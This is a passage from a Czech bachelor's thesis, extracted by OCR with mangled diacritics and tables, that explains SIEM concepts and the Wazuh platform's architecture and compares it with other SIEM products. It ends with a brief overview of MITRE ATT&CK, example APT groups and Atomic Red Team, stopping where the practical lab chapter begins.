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Wazuh pro acely SIEM (Security Information and Event Management). V
ramci prace bude vytvofena izolovana virtualni laboratof se simulovanym
prostiedim, ve kterém budou provadény kybemeticke dtoky: jejich detekce,
analyza a reakce budou sledovany pomoci nastrojd a modul dostupnych ve
Wazuh. Prace se zaméri na praktické vyuZiti funkci platformy, vcetné
nasazeni a konfigurace manageru a agentd, tvorby a ladéni detekénich
pravidel, nastaveni alertd a automatickych reakci. Souéédsti bude
wyhodnoceni detekénich schopnosti Wazuh na zédkladé provedenych testd a
doporuceni pro hardening monitorované infrastruktury.



Abstrakt

Cilem prace je zhodnotit a demonstrovat Ucinnost systému Wazuh jako reSeni pro Security
Information and Event Management (SIEM) a detekci bezpecnostnich hrozeb. Prace poskytuje
teoreticky ramec fungovani modernich SIEM systém a jejich role v kybernetické bezpecnosti.

V praktické ¢asti byla pro ovéreni vytvorena simulovanag, zranitelna kyberneticka infrastruktura
ve virtudlni laboratofi. Infrastruktura je nasazena pomoci orchestratoru Ansible a virtualizacniho
softwaru VMM/Qemu. Na siti byl proveden testovaci scénar redlného Utoku, jenz probéhl ve
dvou fazich: jako kontrolni prichod bez detekce a s plnym nasazenim systému Wazuh vcetné
vlastnich detekénich pravidel a automatizovanych reakci.

Klicova slova
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Abstract

The aim of the thesis is to evaluate and demonstrate the effectiveness of the Wazuh system as
a solution for Security Information and Event Management (SIEM) and threat detection. The
thesis provides a theoretical framework for the functioning of modern SIEM systems and their
role in cybersecurity.

In the practical part, asimulated, vulnerable cyber infrastructure was created in a virtual
laboratory for verification purposes. The infrastructure is deployed using the Ansible
orchestrator and VMM/Qemu virtualization software. A testing scenario of a real-world attack
was executed on the network, which proceeded in two phases: a control run without detection,
and a run with the full deployment of the Wazuh system, including custom detection rules and
automated responses.
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Uvod

Problematika kybernetické bezpecnosti v minulosti ¢asto zUstavala na jednom z poslednich mist
v Zzebricku dllezitosti v IT. v dnesni dobé ale pocet kybernetickych utokd a incidentll neustale
roste. Ndastroje pro pachani skod Ci trestné ¢innosti v kyberprostoru jsou dostupnéjsi. Diky umélé
inteligenci uz neni nutnd vysoka odborna znalost informacnich technologii, a i zacatec¢nik dokaze
ziskat Skodlivy kéd nebo pouzit exploit relativné snadno, aniz by mu plné rozumél. Uméla
inteligence se hojné vyuZivd ipro tvorbu obfuskovanych verzi malwaru scilem snizit
pravdépodobnost detekce antiviry, stejné jako pro tvorbu phishingovych e-mail(, které jsou ¢im
dal hdre rozeznatelné od legitimnich zprav. Software ihardware je stdle komplexnéjsi
a komplexita pfindsi riziko chybného ¢i nebezpecného kédu cekajiciho na zneuziti Skodlivymi
aktéry. SloZité systémy pfi neodborné konfiguraci mohou vytvofit pfistupové body pro utocniky.
Motivace utocnikll neni pouze Cisté finanéni (napf. ransomware) — setkdvame se ise
Spiondznimi akcemi APT skupin, znepfistupnéni sluzeb (DoS) nebo Utoky motivovanymi
yadrenalinovym® ziskanim pfistupu do zakdzanych oblasti.

Klicovym faktem je, Ze kyberneticky prostor je tfeba aktivné chranit; nelze se spoléhat na to, Ze
si uto€nik nevybere pravé nasi organizaci. Pro ucely obrany pfed hrozbami vznikly desitky
nastroji — nékteré komercni, jiné open-source: antiviry, honeypoty, automatizované skenery
zranitelnosti, penetracni testy nebo bug-bounty programy. Dalsi dlleZitou kategorii jsou SIEM
systémy (Security Information and Event Management), jimiZz se zabyvam v bakalafska praci.
Konkrétné se prace vénuje open-source platformé Wazuh, jejimu nasazeni vizolované siti
a detekci utok(i na monitorované cile.

Pracuji jako penetracni tester a zaroven se vénuji monitoringu a spravé Wazuh nasazeného na
desitkach server(l. Téma je mi tedy blizké; rad bych vsak systém Wazuh prozkoumal podrobnéji
a posoudil jeho efektivitu jak z pohledu uUtocnika, tak z pohledu obrance. Cilem prace je sestavit
virtudlni laboratof, nasadit systém Wazuh, provést typické utoky pfimérené motivovaného
utocnika a nastavit detekcni pravidla pro zvyseni bezpecnosti monitorované infrastruktury. Pro
findIni editaci a kontrolu gramatiky byli pouZity nastroje Al.

11



Vysokd Skola polytechnickd Jihlava

1 Teoreticka ¢ast

Teoreticka ¢ast je zamérena na vysvétleni technologie SIEM, jeji definice a pfiklady popularnich
SIEM systémd, se kterymi se dnes mlzZeme setkat. Dale nasleduje popis platformy Wazuh, jejich
modul(l a architektury.

1.1 Zaklady SIEM

Technologie SIEM (Security Information and Event Management) predstavuje systém pro sbér,
centralizaci, korelaci avyhodnocovani bezpecnostnich uddlosti napfi¢ IT infrastrukturou
organizace. Hlavnim ucelem SIEM je zajisténi viditelnosti nad dénim v siti, detekce anomalii
a v€asné odhaleni potencidlnich hrozeb (Microsoft, 2025). SIEM shromazduje zaznamy udalosti
(logy) z rGznych zdroji — server(, sitovych zatizeni, aplikaci i bezpe¢nostnich nastroju — a uklada
je do centralni databaze. ProtoZe logy na jednotlivych systémech obvykle podléhaji rotaci
a nejsou uchovavany dlouhodobé, SIEM zajistuje jejich trvalou archivaci, korelaci a moznost
nasledné analyzy. Analytici bezpecnostniho operacniho centra (SOC) tak mohou sledovat
udalosti v redlném case nebo je zpétné vyhodnocovat a hledat vzorce, které mohou naznacovat
utok ¢i naruseni (SystemOnline, 2023).

IT ENVIRONMENT

INPUTS
Event Logging
IT Elements w/ SIEM sensors
Contextual Data

+ Vulnerability Scans

+ Threat Intelligence

+ User Information

+ Asset Information

—_—

Cloud-based storage

J

Data Retention Data Centralization Reporting
Allows thorough Enables effective Comprehensive logging
investigation of security monitoring & event increases the visibility of
incidents correlation your security team

Obr. 1: Architektura SIEM
Zdroj: Aldrige (2025)
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Klicovym prvkem kazdého SIEM systému je tvorba detekénich pravidel, kterd umoznuji
identifikovat potenciadlni hrozby a slabiny vsiti. Cilem pravidel je odliSit bézné chovani od
anomalni aktivity, kterd mlze indikovat pokus o Utok nebo naruseni bezpecnosti. v pfipadé
zjisténi podezielého vzoru chovani SIEM generuje alert — upozornéni, na jehoz zadkladé mize
bezpecnostni tym reagovat. Ne kazda anomalie vSak nutné predstavuje hrozbu, a proto je nutné
zohlednit kontext udalosti (Microsoft, 2025). Soucasné systémy SIEM pouZivaji korelaci pravidel,
kdy je vyhodnocovana kombinace vice udalosti, které samy o sobé mohou byt neSkodné, avsak
v souhrnu tvofi podeziely vzorec. Sprdvné navriena korelace pomdha minimalizovat pocet
falesnych poplachu (false positives) a zvysuje presnost detekce.

Po detekci Skodlivé aktivity mliZze SIEM systém provadét reakce automaticky — napfiklad zaslat
upozornéni, izolovat napadené zatizeni nebo predat incident k dalSimu zpracovani v ramci
nastrojl typu SOAR (security orchestration, automation, and response). Automatizace vSak musi
byt nastavena obezfetné, protozZe v pripadé nespravné definovanych pravidel mlze zpUsobit
vice Skody neZ uZitku. Proto je nezbytné pravidla pribéiné ladit, testovat a pfizplsobovat
aktudlnim hrozbam i prostfedi organizace.

1.2 Vybrané priklady SIEM produktt

Téma prdace je zaméreno na vyuziti systému Wazuh, pfi¢emz pro srovnani byly vybrany ctyfi dalsi
popularni platformy. Wazuh jsem zvolil z nékolika divod( — predevsim proto, Ze s nim mam
pracovni zkuSenost, a také proto, Ze jde o bezplatné reseni s otevienym zdrojovym kédem.

Wazuh je nastroj pro centralizovany sbér, korelaci a vyhodnocovani bezpecénostnich udalosti,
¢imz naplnuje definici systému SIEM. Nabizi detekci anomalii, analyzu logtl, sledovani integrity
souborll (FIM — File Integrity Monitoring), spravu zranitelnosti, detekci malwaru a reporting.
Mezi jeho silné stranky patfi otevieny kdd, aktivni komunita, rozsifitelnost a nativni integrace
s Elastic Stackem. Naopak lIze uvést vy3si naroky na konfiguraci a spravu a absenci nékterych
pokrocilych funkci automatizace, které nabizeji velké komercni SIEM platformy (Wazuh, 2025).

1.2.1 Elastic Security (SIEM modul Elastic Stack)

Elastic Security je bezpecnostni modul postaveny na platformé Elastic Stack (Elasticsearch,
Logstash, Kibana a Beats), ktery rozSifuje funkcionalitu systému o moznosti SIEM. Nabizi
detekéni pravidla, analyzu anomalii, nastroje pro threat hunting, vizualizace dat a praci s velkymi
objemy uddlosti. Vyhodou je vysoka skalovatelnost, podpora clusterd i cloudovych nasazeni
a integrace s Elastic Agentem (Elastic, 2025). z hlediska konfigurace a spravy je Uroven podobna
systému Wazuh, ktery historicky vychazi z verze Elasticsearch 7.10 vydané pod open-source
licenci, pficemz nové;jsi verze Elasticsearch jiz licenci nepouzivaji (Wazuh, 2022).

13
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1.2.2 IBM QRadar SIEM

IBM QRadar SIEM predstavuje komercéni produkt uréeny predevsim pro velké podnikové
prostiedi. Nabizi komplexni Feseni zahrnujici korela¢ni engine, spravu sitovych tokd, forenzni
analyzu, reporting a integraci s threat intelligence databazemi. Jeho hlavni vyhodou je stabilita,
vysoka Skdlovatelnost avynikajici integrace s dalSimi produkty portfolia IBM Security.
Nevyhodou jsou naopak vysoké pofizovaci a provozni naklady, sloZitéjsi sprava a nutnost
odborného tymu pro implementaci a udrzbu (IBM, 2025).

1.2.3 Splunk Enterprise Security (ES)

Splunk Enterprise Security (ES) patfi mezi nejrozsitenéjsi SIEM platformy na trhu. Nabizi Siroké
analytické moznosti, pokrocilou korelaci dat, interaktivni dashboardy, moduly strojového uceni,
automatizaci a integraci se SOAR FeSenimi. Silnymi strankami systému jsou vyborna analytika,
rozsahly ekosystém doplikd dostupnych na Splunkbase amoZnost nasazeni v cloudu
i on-premise. Nevyhodou je narocné licencovani zalozené na objemu zpracovanych dat
(GB/den), které muze byt finanéné zatézujici, a také vysoké pozadavky na vykon infrastruktury
(Splunk, 2025).

1.2.4 Microsoft Sentinel

Microsoft Sentinel je cloud-native SIEM feseni poskytované formou sluzby (SaaS) v prostredi
Microsoft Azure. UmoZiuje detekci a korelaci bezpecnostnich udalosti napti¢ cloudovymi
i on-premise systémy, vyuZivd strojové uceni pro detekci hrozeb a nabizi nativni integraci
s produkty Microsoft Defender, Azure Monitor a dalSimi. Mezi jeho hlavni vyhody patfi rychlé
nasazeni, nulové naroky na on-premise infrastrukturu a vysoka skalovatelnost. Slabinou muze
byt finan¢ni narocnost pfi zpracovani velkého mnozstvi logl, omezena podpora pro nékteré ne-
Microsoft produkty a potencidlni vendor lock-in (Microsoft, 2025).

14
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1.2.5 Tabulka srovnani SIEM produkt(

Kapitola predstavuje pfehledné srovnani SIEM systém( popsanych v predchozich podkapitolach,

s cilem vizualné odlisit jejich klicové vlastnosti. Tabulka 1 shrnuje rozhoduijici kritéria pro vybér

a nasazeni SIEM fesSeni, jako je typ implementace, Skdlovatelnost, hardwarové pozadavky

a konkrétni licen¢ni modely.

Tab. 1: Porovnani SIEM produktt

i ., Komunitni /
i . HW / datové Licenéni L
Produkt Nasazeni Skalovatelnost ) technicka
naroky model
podpora
Vlastni
Open-
server
. Stiedni = velké ‘y source, Aktivni
On-premise L (Elastic + . )
Wazuh . (klastrovani enterprise komunita +
/ hybrid o Wazuh Mgr),
Elastic indexeru) support Wazuh Inc.
~8-16 GB | ,
acen
RAM / server P y
Vyzaduje
On-prem / ) ) .y . JW . | Open- Silna
. Velmi vysokd silné ulozisté )
Elastic cloud ) source + komunita +
. ] (Elasticsearch (>100 GB o ]
Security Elastic . . subscriptio | Elastic
cluster) logli denné
Cloud o n model Support
- distribuce)
Vykonny HW
Enterprise (> 64 GB RAM | Komercni IBM Support
IBM On-prem / , . , . ,
uroven (vysoka / uzel), licence / partnerska
QRadar cloud . o M
EPS kapacita) Skalovani (EPS/FPM) sit
v klastrech
Vykonové
) , uloziste, L Splunk
Velmi vysoka, o . Komer¢ni
On-prem / Lo vicejadrové . Support +
Splunk ES zavisla na licence ]
cloud . ) CPU, RAM 2 velka
datovém objemu (GB/den) .
12 GB na komunita
indexer
Zavislé na
Prakticky datovém Pay-as-you- .
. Cloud , ) Microsoft
Microsoft neomezena ingestu go (~4-5 .
. (Saas, vl . Premier
Sentinel (Skalovani a retenci usD / 100
Azure) Support
v Azure) v Azure Log GB)
Analytics

Zdroj: vlastni zpracovdni (2025)
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1.3 Architektura a moduly Wazuh

Systém Wazuh predstavuje open-source platformu pro Security Information and Event
Management (SIEM) a Security Analytics, ktera umoznuje centralizovany sbér, analyzu a korelaci
bezpecnostnich udalosti. Je navrzen jako moduldrni architektura tvofend nékolika vzajemné
propojenymi komponentami, jez spole¢né zajistuji kompletni cyklus prace s daty — od jejich
sbéru pres vyhodnoceni aZ po vizualizaci a reporting (Wazuh, 2025).

Zakladni infrastrukturu tvofi tfi hlavni komponenty: Wazuh Indexer, Wazuh Server a Wazuh
Dashboard. k ziskavani dat z koncovych zafizeni aserverl slouzi Wazuh Agent, ktery je
nainstalovan na sledovanych systémech.

Endpoints Wazuh central components
Server : :
E : ‘_1 W. server cluster
Wazuh agent : :
& Masternode : Wazuh users
: : l:—, W. dashboard :
b - . . N

E Wazuh agent : H “ ‘

Nodes communication
master- worker

j ) W. Indexer

B wazunagent : : E Worker node
loadbalancer [N .
: Filebeat Wazuh indexer node
Cloud instance .
*1.n ®1.n

Wazuh agent °

‘ : & worker node Wazuh indexer node

: : | anaysisengine I Fileneat |
Virtual Machine : EETD —

‘ Wazuh agent . :

Obr. 2: Architektura platformy Wazuh
Zdroj: Wazuh (2025)

1.3.1 Wazuh Agent

Wazuh Agent je proces béZici na monitorovaném zafizeni. Je kompatibilni pro Linux, Windows,
Solaris i MacOS. Primarnim Ucelem Wazuh agenta je sledovat logové soubory, které jsou
definované v souboru /var/ossec/etc/ossec.conf v XML formatu. Dojde-li k zapisu nové udalosti
do logu, agent data odesle na server pres TCP/1514 zasifrovana pomoci AES (Wazuh, 2025).

Dale agent periodicky vykondava definované prikazy od Wazuh Serveru. Vystupy odesila zpét na
server. Prikladem muzZe byt pfikaz pro spocitani volného mista na disku. Server vystup vyhodnoti
a vygeneruje alert, ktery je nasledné zobrazen v Dashboardu.

Provadi preddefinované akce (Active response) v pripadé utoku nebo objeveni hrozby —
napfiklad upravi pravidla viptables, aby firewall zahazoval packety z podezielé IP adresy,
zastaveni Skodlivého procesu nebo smazani malware.

Pro sledovani integrity soubor(i agent sleduje souborovy systém (FIM). v konfiguraci Ize nastavit,
které soubory nebo slozky ma agent monitorovat. Agent sleduje zmény v zapisu i pfistupu
k souboriim a pripadné odesle log na Wazuh Server.
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Provadi hodnoceni konfigurace zabezpeceni (SCA). Wazuh ma definované benchmarky podle
kterych hodnoti zabezpeceni sledovanych systémU. Vyhodnoceni posilda na server, kde je
zobrazen v Dashboardu.

Periodicky skenuje systém a inventarizuje vysledky v lokdIni SQLite databazi, kterou je mozné na
serveru dotazovat. Jedna se napftiklad o Udaje jako verze operacniho systému, béZici procesy
nebo seznam otevienych portd.

Chrani pred malwarem sledovanim podezrelych aktivit nebo anomalii, napfiklad hledanim
skrytych procesl, otevirani port(, kontaktovani C2 serverl apod. Nepouziva detekce na zékladé
znamych otiskd, ale pozoruje a analyzuje zmény. Pokud je napfiklad otevien port, ktery nikdy
otevien nebyl, agent prohledd logy azjisti, jak byl port otevien. Poté muZe spustit
preddefinované automatické akce nebo vygenerovat upozornéni na neobvyklou aktivitu.

Chceme-li shirat logy i ze zafizeni jako jsou firewally nebo sitové prvky, kam nelze nainstalovat
Wazuh agent, je moZzné poutzit tzv. Agentless monitoring. Logy se v pfendaseji pfes SSH nebo API
na Wazuh server, kde jsou zpracovavany jako jakykoliv jiny log (Wazuh, 2025).

1.3.2 Wazuh Server

Wazuh server je centrdlni ¢ast Wazuh platformy. Je zodpovédny za analyzu pfijimanych dat,
jejich vyhodnoceni a generovani upozornéni pfi nalezeni hrozeb nebo poruseni regulacnich
nafizeni (regulatory complience). Server fidi aktivity na monitorovanych zafizeni pomoci agent(.
Sklada se z nékolika hlavnich komponent:

e Wazuh Manager,

e SluZby pro registraci, pfipojeni a komunikaci s agentem
e Analyticky modul

e Server AP|

e Cluster démon

e Filebeat

e (volitelné Logstash)

(Wazuh, 2025)

Logy z agentU i agentless zafizeni jsou na Wazuh Manager prenaseny pres Sifrovany kanal TLS
(standardné na portu 1514/TCP). Analyticky modul prijaté udalosti postupné zpracovava —
nejprve dekdduje, poté aplikuje detekéni pravidla.
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E Threat intelligence E MITRE ATT&CK E Vulnerability detection Agents and cluster
Status menitoring

1P reputation Threat modeling CVE datsbase APl service
File hashes Adversary techniques Inventary correlation Configuration

management

Agent enrollment service

e B G, o o

groups
Enrichment Raw data events

Agent connection service

Master or worker

PCIDSS, HIPAA File state databases Third-party API node

NIST 800-53, GPG 13 Systam invatory databases Ticketing systems: Cluster service

Cluster data
synchrinization

E Regulatory compliance E State of the endpoint E Integration daemon

Obr. 3: Moduly Wazuh
Zdroj: Wazuh (2025)

Dekodéry slouzi k rozpozndni typu logu a extrakci jeho kli¢ovych ¢asti do strukturované podoby.
Napriklad dekodér pro SSHD rozpozn4, ze dany log pochazi z Linuxového SSH serveru a extrahuje
z néj uZivatelské jméno, IP adresu astav prihlaseni. Podobné existuji dekodéry pro rlizné
systémy a aplikace — napf. Apache, MySQL, Windows Event Log, Cisco ASA, MSSQL nebo
cloudové sluzby (Wazuh, 2025).

Pokud logy pochazeji z nestandardniho nebo proprietarniho zdroje, je mozné vytvofit vlastni
dekodér, ktery definuje, jak se ma text analyzovat a jaka pole se maji extrahovat. Dekodéry jsou
definovany ve formatu XML v adresafi /var/ossec/etc/decoders a pomoci reguldrnich vyraz(
identifikuji vzory nebo klicovd slova v textu. Kazdy dekodér muze volat dalsi (tzv. ,child
decoder”), ¢imz vznika hierarchie, ktera umozniuje komplexni analyzu logu.

Po Uspésném dekddovani predd Wazuh strukturovany vystup modulu pravidel (rules engine),
ktery rozhoduje, zda uddlost odpovidd zndmému vzoru nebo indikatoru kompromitace (loC).
Pokud ano, nasledné je wvytvofen alert auddlost je zapsdana do souboru
/var/ossec/logs/alerts.json. Soubor sleduje program Filebeat a zmény bud' preposila pfimo
Indexeru nebo programu Logstash, ktery data miZe néjak obohatit nebo transformovat —
napfiklad mlze pfidat geolokaci IP adresy nebo anonymizovat citlivé Udaje. Upravend data
Logstash preda Indexeru pomoci Sifrovaného kanalu TLS na port TCP/9200 pro uloZeni do
databaze.

1.3.3 Wazuh Indexer

Ukolem Wazuh Indexeru je efektivné indexovat, ukladat a zpfistupfiovat data pro vyhledavani
a vizualizaci. Indexer vyuZiva inverted index (Elastic, 2025), tedy datovou strukturu, ktera
umoznuje velmi rychlé full-textové vyhledavani a agregace nad velkym mnoZstvim zadznamu.
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Alert document extract

{
............................................... “timestamp" : 2022-04-24T17:24:56.110+0000",

"data": {
*stcip”: "68.183216.91",
*srcport” : '53820"

®

Primary shard (3

)
“rule”:{

“description” : "sshd: insecure connection attempt {scan)’,
“id":*5706',

“level”: 6,

“pei_dss": [

F X na

)
“mitre” 1{

*technique": [

"SSH*

Replicashard y

“id": [
"T1021.004"
1
“tactic: [
“Lateral Movement"
1

Obr. 4: Diagram Wazuh Indexer
Zdroj: Wazuh (2025)

Od verze 4.3 Wazuh pouzivd jako indexovaci jddro OpenSearch, coz je open-source fork

Elasticsearch verze 7.10, tedy posledni verze plivodniho Elasticsearch vydana pod licenci Apache
2.0 (Elastic, 2025; Wazuh 2025).

Data v OpenSearch nejsou fyzicky ukladdna jako citelné JSON soubory, prestoze logickd
reprezentace dokumentu vyuziva format JSON. Prfi zapisu dochazi k serializaci dat do interniho
formatu Apache Lucene, ktery pouzivd kombinaci textovych a binarné kédovanych struktur
optimalizovanych pro full-textové vyhledavani a dotazovani.

Kazdy dokument je uloZen v ramci pfislusného indexu, ktery je rozdélen do shardd (primarnich
areplikacnich). Na disku se indexy nachdazeji vadresdfové strukture /var/lib/wazuh-
indexer/nodes/<node-number>/indices/, kde jednotlivé soubory (segments_N, .fdt, .tim aj.)
obsahuji data a metadata ve formatu Lucene (Apache Software Foundation, 2017).

root@ubuntu-server-0: /var/lib/wazuh-indexer/nodes/0/indices/1JenErPcSCuU71RRNSIF3g/0/index#t cat segments_v
7esegments

Q@) weoees 06000V

translog_uuidwInovTHCQLCeiTr2clziMwmin_retained seq_noS6local checkpoint57eeeeeee@)weeeese00je VQ)Weeee;e600e
) Woo065 90000
history_uuidghM-TRYsTvuiSIFOGTvgUA
Obr. 5: Ukazka souborové podoby indexu

Zdroj: vlastni zpracovani (2025)

Obsah index( je uZivateli zpfistupnén prostfednictvim Wazuh Dashboardu v Citelném JSON
formatu.
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1.3.4 Wazuh Dashboard

Wazuh Dashboard je webové rozhrani uréené pro vizualizaci, analyzu a spravu bezpecnostnich
dat, které systém Wazuh shromazduje. UmozZiiuje vySetfovani udalosti a alertl, dohled nad
stavem celé platformy a spravu pfistupovych prav pomoci role-based access control (RBAC)
a single sign-on (SSO) (Wazuh, 2025). v dashboardu jsou predpfipravené panely a pohledy pro
oblasti jako threat hunting, detekce malwaru, File Integrity Monitoring (FIM), inventarizace
systémU nebo soulady s regulacemi (napf. PCI DSS, GDPR, HIPAA, NIST), a uZivatelé si mohou
vytvaret vlastni vizualizace a reporty podle potifeb (Wazuh, 2025).

< C [1 ©Notsecure htkps;/f192.168.122.120/app/threat-hunting#/overview/?tab=general&tabView=dashboard&agentid=0018_a=(filters1(),query:langua... =< | @ A
= W. Threat Hunting ubuntu-server-1 a @
Dashboard  Events () ubuntu-server-1(001) M [ Generate report
[5) Search DaL ~  Last1year Show dates C Refresh

manager.name: ubuntu-server-0 || agentia:001 ¥ @ Add filter

13,226 22 376 239

- Total - - Level 12 or above alerts - - Authentication failure - - Authentication success -
Top 10 Alert groups evolution Nerts
@ audit 2,000 3
@ audit_ command 7
@ sysiog 0,000 5
@ pam . 10
sca o 9
E authentication_falled £ 8
3 H
o sshd o 12
dpkg 1,000 6

@ audit_configuration 4

authentication_succes 2,000 15
L ]

estamp per week timestamp per week

Top Salerts Top 5rule groups Top 5 PCI DSS Requirements

Audit: Command: /usri @ audit 1025
Audit: Command: Jusri @ audit_command 1061
Audit: Command: /usti “ @ sysiog 22

Audit: Command: Jusri @ pam 1024
Auditd: Configuration sca 1027

Obr. 6: Wazuh dashboard — Threat Hunting modul
Zdroj: vlastni zpracovadni (2025)

Kromé vizualizace a reportingu dashboard poskytuje nastroje pro spravu agentl a celého
nasazeni: z Ul Ize kontrolovat stav agentl, nastavovat které moduly agentl bézi, které logy se
sbiraji a které soubory se monitoruji na zmény integrity (Wazuh, 2025). Soucasti jsou také
vyvojarské ndstroje — napfiklad nastroj pro testovani rulesetu, ktery zpracuje ukdzkovou
log-hlasku a ukazZe, jak je dekédovana a zda odpovida detekénimu pravidlu, a API konzole pro
interakci s Wazuh serverem aindexerem; tyto funkce usnadniuji ladéni vlastnich dekodér(,
pravidel a spravu index( pfimo z dashboardu (Wazuh, 2025).
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C [] @ Notsecure htkps;/f192.168.122.120/app/threat-hunting#/overview/?tab-generalatabview=eventsgagentid-001&_a=(filters:(),query:(anguage:... < | & A
= w. Threat Hunting ubuntu-server-1 a @
. View surrounding View single
Document Details documents document
Table JSON

-index wazuh-alerts-4.x-2025.18.28

agent. id 001

agent. ip 192.168.122.121

agent.name ubuntu-server-1

data.audit.arch 0800038

data.audit.auid 1081

data.audit.command 9

data.audit.cwd /

data.audit.egid 1001

data.audit.euid 1ee1

data.audit.exe Jusr [1ib/systend/systend

data.audit.execve.ad /usr/1ib/systend/systemd-executor

data.audit.execve.al --deserialize

data.audit.execve.a2 10

data.audit.execve.a3 --log-level

data.audit.execve.a4 info

data.audit.execve.as --log-target

data.audit.execve.a6 auto

data.audit.exit [

data.audit.file.inode 268433

data.audit.file.node 0180755

data.audit.file.name /proc/self/fd/9

data.audit.sgid 1001

data.audit.fsuid 1081

data.audit.gid 1001

Obr. 7: Wazuh dashboard — Detail udalosti
Zdroj: vlastni zpracovani (2025)

1.3.5 Hardwarova naro¢nost

Hardwarové poZadavky systému Wazuh zavisi pfedevsim na poctu monitorovanych zafizeni,
objemu generovanych udalosti a zvoleném zplsobu nasazeni (Wazuh 2025). Pro malé nebo
testovaci prostredi typu all-in-one (tj. vSsechny centrdini komponenty — Manager, Indexer
i Dashboard — béZici na jednom fyzickém serveru) je doporuceno poutzit alespon ctyfjadrovy
procesor a 8 GB operacni paméti.

Konfigurace postacuje pro pfiblizné 1-25 agentd a uchovani logl zhruba na 90 dni, pficem? je
vhodné vyhradit minimdlné 50 GB volného mista na disku pro ukladani index( a alert(i. BEéhem
instalace muizZe byt systém pamétové naroény, zejména pti konfiguraci OpenSearch a inicializaci
indexd. Pokud dostupna RAM klesne pod 8 GB, mze instalace selhat nebo byt nestabilni.

Z praktickych zkuSenosti Ize doporucit alesponn 16 GB RAM pro zajisténi plynulého provozu
a budouciho rozsifovani. Po dokonceni instalace sice Wazuh mUze bézet i na 8 GB, avsak pfi
dlouhodobém provozu a narocnéjsich analyzach (napr. korelace vétsiho poctu agentll, FIM,
nebo logli z Windows Event Collector) se vyssi kapacita paméti projevi na stabilité a vykonu.

Jako operacni systém se doporucuje vyuZzit distribuce Red Hat Enterprise Linux (RHEL), Ubuntu
Server nebo CentOS Stream, které jsou oficialné podporované a optimalizované pro béh Wazuh
komponent. Instalace na Microsoft Windows je moZnd pouze formou virtualizace (napf.
VMware, Hyper-V) nebo prostrednictvim Docker kontejner(i (Wazuh, 2025).

Pri vétsim poctu agentl (nad 50—100) nebo vysokém objemu logli se doporucuje prejit z modelu
all-in-one na clusterové feseni. Wazuh podporuje klastrovany rezim pro vSechny tfi centrdlni
komponenty:
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e Manager Cluster — vice uzlG sdilejicich konfiguracni data a rozkladajicich zpracovani
udalosti (master + worker nody);

e Indexer Cluster — distribuovany OpenSearch cluster s primdrnimi a replika¢nimi
shardami pro vyssi vykon a dostupnost;

e Dashboard Cluster — horizontalni skalovani front-end ¢asti s load-balancingem.

vvs v

Clusterové nasazeni zajistuje nejen vyssi skalovatelnost, ale také vysokou dostupnost a odolnost
proti vypadklm. v praxi tak Ize obsluhovat stovky aZ tisice agent( bez vyrazného poklesu vykonu,
pokud jsou jednotlivé uzly spravné dimenzovdny a infrastruktura je doplnéna o dostatecné
vykonné uloZisté a sitové propojeni (Wazuh 2025).

1.4 Bezpecnostni koncepty a techniky Utoc¢niku

Vétsina Utok(, se kterymi se organizace mohou setkat, ma obdobny priibéh. Utoénik obvykle
nejprve provede prlzkum cilového prostiedi a hledd potencialni zranitelnosti. Po identifikaci
slabin se pokusi o jejich zneuZiti za Ucelem ziskani pocatecniho pfistupu na stroj v siti. Po ziskani
pfistupu se utocnik snazi udriet pfitomnost (persistence), rozsifit opravnéni (privilege
escalation) a pfipadné provést lateralni pohyb do dalSich segment( sité. Cilem mUzZe byt odcizeni
citlivych dat, nasazeni skodlivého kédu nebo Sifrovani systéma za Ucelem vynuceni vykupného
(ransomware) — vSechny tyto akce jsou soucasti postupl, které se ¢asto skladaji do opakujicich
se vzorcl chovani.

1.4.1 MITRE ATT&CK

Framework MITRE ATT&CK poskytuje standardizovanou kategorizaci téchto postupld pomoci
pojm0 taktiky, techniky a postupy (TTP). , Taktiky” popisuji ,,pro¢“ uto¢nik danou akci provadi
(napf. Initial Access, Privilege Escalation, Exfiltration), zatimco ,techniky” popisuji ,jak” je cil
dosaZen (konkrétni metody a nastroje). ATT&CK umoZnuje mapovat pozorované Utocné akce na
znamé techniky a pfifazovat je ke skupindm utocnikd (APT), ¢imZz usnadniuje vytvareni
realistickych simulaci Utok( a testovani obrannych opatreni. Obranci tak mohou modelovat
a ovérovat svou ochranu proti scénartim typickym pro konkrétni hrozebné skupiny nebo sektory
— napf. APT skupina zaméfrena na vzdélavaci instituce s cilem tézby kryptomén bude pouzivat
jiné TTP nez skupina, jejimZ cilem je naruseni provozu kritické infrastruktury. Pouziti ATT&CK
pomaha zaméfit bezpecnostni Usili na pravdépodobné scénare a tim efektivnéji alokovat zdroje
obrany. (MITRE, 2025)

1.4.2 Priklady APT skupin

Organizace MITRE udrzuje pfehled o zndmych APT skupinach a o jejich vedenych kampanich;
nize uvadim priklady nékolika odlisnych skupin, které jsou v bezpe¢nostni komunité sledovany
(MITRE, 2025).

Rancor: Skupina Rancor pUsobi prevaziné v jihovychodni Asii atypickym vektorem ziskani
pfistupu jsou phishingové e-maily s prilohami Microsoft Office obsahujici Skodlivé makro kody
(Mitre, 2025; Paloalto Networks, 2019)
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LAPSUSS: Skupina zndama pod jménem LAPSUSS se zaméfovala predevsim na velké
technologické korporace. Motivace subjektu ¢asto presahovala Cisté financni zisk — do popredi
vystupovalo ziskani publicity Ci reputace v komunité. v jejich kampanich se objevovaly plosné
phishingové operace i kradeze autentizacnich udaji a SSO token(, které atocniklim umoznily
pivotovat mezi aplikacemi; Utoky doprovazelo mazani dat a docasné naruseni provozu
postizenych sluzeb (Mitre, 2025; NCC Group, 2022).

Storm-1811: Skupina Storm-1811 je primarné finan¢né motivovana a je spojovana s nasazenim
ransomwaru Black Basta. Jejich modus operandi zahrnuje i prvky socidlniho inzenyrstvi: cile
mohou byt nejprve zahlceny zdanlivé neSkodnym spamem andsledné kontaktovany
ytechnickou podporou”, ktera obét navadi kinstalaci nastroji pro vzdalenou spravu, ¢imz
Utocnici ziskaji potfebny pfistup (Rapid7, 2024).

1.4.3 Atomic Red Team

Ndstroj Atomic Red Team je open-source nastroj pro emulaci Uto€nych technik definovanych
v MITRE ATT&CK. Slouzi k testovani detekcnich schopnosti a k validaci bezpeénostnich kontrol:
na testovanych systémech se spoustéji kratké predptipravené scripty (napf. Invoke-Atomic
v PowerShellu), které simuluji konkrétni TTP — typicky vytvoreni planované ulohy, modifikaci
logll nebo vytvoreni uZivatele — aby bylo mozné ovéfit, zda obranné nastroje (SIEM, EDR aj.)
danou aktivitu zaznamenaji (Atomic Red Team, 2025).
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2 Prakticka ¢ast — navrh a nasazeni virtualni laboratore

Pro ucely vytvoreni testovaci infrastruktury bylo zvoleno virtudlni prostredi zalozené na
